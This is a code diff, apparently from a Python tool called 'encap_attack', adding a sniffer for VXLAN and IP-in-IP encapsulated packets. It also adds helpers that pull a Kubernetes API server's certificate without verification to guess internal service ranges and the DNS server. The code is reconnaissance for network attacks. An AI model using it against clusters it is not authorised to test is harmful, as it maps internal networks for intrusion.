self.__sniffer = AsyncSniffer(timeout=self.__timeout, prn=self.__packetHandler, iface=self.__iface)
|
||||
else:
|
||||
self.__sniffer = AsyncSniffer(prn=self.__packetHandler, iface=self.__iface)
|
||||
else:
|
||||
if (self.__timeout):
|
||||
self.__sniffer = AsyncSniffer(timeout=self.__timeout, prn=self.__packetHandler)
|
||||
else:
|
||||
self.__sniffer = AsyncSniffer(filter="", prn=self.__packetHandler)
|
||||
|
||||
def run(self) -> str:
|
||||
click.secho("\nListening for encapsulated packets...", fg="magenta", bold=True)
|
||||
self.__sniffer.start()
|
||||
# ensure inconsequential errors thrown by sniffer are ignored
|
||||
threading.excepthook = lambda e: None
|
||||
self.__sniffer.join()
|
||||
return self.__protocol
|
||||
|
||||
def __packetHandler(self, packet) -> None:
|
||||
"""Process sniffed packets and stop sniffing if encapsulated packet detected."""
|
||||
|
||||
if (VXLAN in packet and IP in packet and Ether in packet[VXLAN] and IP in packet[VXLAN]):
|
||||
# packet is VXLAN
|
||||
click.secho("\nIdentified VXLAN packet:", bold=True)
|
||||
click.echo(" Outer: " + click.style(f"{packet[IP].src} -> {packet[IP].dst}", fg="cyan", bold=True))
|
||||
click.echo(" VXLAN: " + click.style(f"VNI: {packet[VXLAN].vni}, VTEP: {packet[VXLAN][Ether].dst}", fg="cyan", bold=True))
|
||||
click.echo(" Inner: " + click.style(f"{packet[VXLAN][IP].src} -> {packet[VXLAN][IP].dst}", fg="cyan", bold=True))
|
||||
self.__protocol = "VXLAN"
|
||||
elif (IP in packet and IP in packet[IP][1:]):
|
||||
# packet is IP-in-IP
|
||||
click.secho("\nIdentified IP-in-IP packet:", bold=True)
|
||||
click.echo(" Outer: " + click.style(f"{packet[IP].src} -> {packet[IP].dst}", fg="cyan", bold=True))
|
||||
click.echo(" Inner: " + click.style(f"{packet[IP][1:][IP].src} -> {packet[IP][1:][IP].dst}", fg="cyan", bold=True))
|
||||
self.__protocol = "IP-in-IP"
|
||||
else:
|
||||
return
|
||||
if (self.__verbose):
|
||||
click.secho("\nFull packet:", fg="magenta", bold=True)
|
||||
click.echo(packet.show2(dump=True))
|
||||
self.__sniffer.stop()
|
||||
@@ -0,0 +1,124 @@
|
||||
import socket, fcntl, struct, ssl, OpenSSL, click, ipaddress
|
||||
from encap_attack.utils.util_models import *
|
||||
|
||||
def getIfaceIp(iface: str) -> str:
|
||||
"""Get an interface's default IP."""
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
return socket.inet_ntoa(fcntl.ioctl(
|
||||
s.fileno(),
|
||||
0x8915, # SIOCGIFADDR
|
||||
struct.pack('256s', iface[:15].encode())
|
||||
)[20:24])
|
||||
|
||||
def getDefaultIfaceIp(dst_ip: str) -> str:
|
||||
"""Get the default interface's IP address for a specific destination IP."""
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect((dst_ip, 53))
|
||||
ip = s.getsockname()[0]
|
||||
s.close()
|
||||
return ip
|
||||
|
||||
def getCert(dst: str, port: int):
|
||||
"""Get a certificate and return it in X509 format."""
|
||||
|
||||
context = ssl.create_default_context()
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
try:
|
||||
conn = socket.create_connection((dst, port))
|
||||
except Exception as e:
|
||||
click.secho(f"Unable to connect: {e}", fg="red", bold=True)
|
||||
return None
|
||||
sock = context.wrap_socket(conn, server_hostname=dst)
|
||||
sock.settimeout(20)
|
||||
try:
|
||||
der_cert = sock.getpeercert(True)
|
||||
finally:
|
||||
sock.close()
|
||||
return OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, ssl.DER_cert_to_PEM_cert(der_cert))
|
||||
|
||||
def getCertSANs(cert) -> list[str]:
|
||||
"""Get a certificate's Subject Alternative Name records."""
|
||||
|
||||
extensions = (cert.get_extension(i) for i in range(cert.get_extension_count()))
|
||||
for e in extensions:
|
||||
if (e.get_short_name() == b'subjectAltName'):
|
||||
return str(e).split(", ")
|
||||
return []
|
||||
|
||||
def getIPSANs(sans: list[str]) -> list[str]:
|
||||
"""Get the IP entries from a certificate's Subject Alternative Name records."""
|
||||
|
||||
ip_sans = []
|
||||
for san in sans:
|
||||
if (san.startswith("IP Address:")):
|
||||
ip_sans.append(san.replace("IP Address:", ""))
|
||||
return ip_sans
|
||||
|
||||
def getDNSSANs(sans: list[str]) -> list[str]:
|
||||
"""Get the DNS entries from a certificate's Subject Alternative Name records."""
|
||||
|
||||
ip_sans = []
|
||||
for san in sans:
|
||||
if (san.startswith("DNS")):
|
||||
ip_sans.append(san.replace("DNS:", ""))
|
||||
return ip_sans
|
||||
|
||||
def getCertDetails(cert) -> tuple[str, str, list[str]]:
|
||||
"""Extract the subject, issuer, and Subject Alternative Names records from an X509 certificate."""
|
||||
|
||||
subject = dict(cert.get_subject().get_components())
|
||||
issuer = dict(cert.get_issuer().get_components())
|
||||
return (subject, issuer, getCertSANs(cert))
|
||||
|
||||
def guessRoutes(dst: str, port: int) -> tuple[str, list[str], str]:
|
||||
"""Get the TLS certificate from a Kubernetes API server, and use the Subject Alternative Name records of the contained certificate to guess the cluster DNS suffix, service IP range, and DNS server IP address."""
|
||||
|
||||
cert = getCert(dst, port)
|
||||
if (cert == None):
|
||||
return ("", [], "")
|
||||
subject, issuer, sans = getCertDetails(cert)
|
||||
click.secho("Kubernetes API server certificate information:", bold=True)
|
||||
click.echo(" Subject: " + click.style(subject[b'CN'].decode(), fg="cyan", bold=True))
|
||||
click.echo(" Issuer: " + click.style(issuer[b'CN'].decode(), fg="cyan", bold=True))
|
||||
ips = getIPSANs(sans)
|
||||
click.echo(" IPs: " + click.style(', '.join(ips), fg="cyan", bold=True))
|
||||
hostnames = getDNSSANs(sans)
|
||||
click.echo(" Hostnames: " + click.style(', '.join(hostnames), fg="cyan", bold=True))
|
||||
priv_ips = [ip for ip in ips if ipaddress.ip_address(ip).is_private]
|
||||
cluster_dns_suffix, dot_count = ("", 0)
|
||||
for hostname in hostnames:
|
||||
count = hostname.count(".")
|
||||
if count > dot_count:
|
||||
try:
|
||||
suffix = hostname.split(".", 3)[3]
|
||||
except:
|
||||
# hostname is not fully-qualified
|
||||
continue
|
||||
cluster_dns_suffix = suffix
|
||||
dot_count = count
|
||||
if len(priv_ips) > 0:
|
||||
ip_parts = priv_ips[0].split(".")
|
||||
guessed_cidr = f"{ip_parts[0]}.{ip_parts[1]}.0.0/12"
|
||||
click.echo("\nGuessed service CIDR: " + click.style(guessed_cidr, fg="green", bold=True))
|
||||
guessed_dns = f"{ip_parts[0]}.{ip_parts[1]}.0.10"
|
||||
click.echo(f"kube-dns DNS server may be available at: " + click.style(f"{guessed_dns}:53", fg="green", bold=True))
|
||||
click.echo(f"Cluster DNS suffix: " + click.style(cluster_dns_suffix if cluster_dns_suffix else "unknown", fg="green", bold=True))
|
||||
return (cluster_dns_suffix, [guessed_cidr], guessed_dns)
|
||||
else:
|
||||
click.echo("Unable to guess service CIDR")
|
||||
return (cluster_dns_suffix, [], "")
|
||||
|
||||
def detectEncap(iface: str, timeout: int, verbose: bool):
|
||||
"""Sniff network traffic for encapsulated packets and return the encapsulation protocol."""
|
||||
|
||||
detector = DetectorSniffer(iface, timeout, verbose)
|
||||
protocol = detector.run()
|
||||
|
||||
if (protocol == "unknown"):
|
||||
click.secho("\nNo network encapsulation detected", fg="red", bold=True)
|
||||
else:
|
||||
click.secho(f"\nDetected encapsulation protocol: {protocol}", fg="green", bold=True)
|
||||
|
||||
Reference in New Issue
Block a user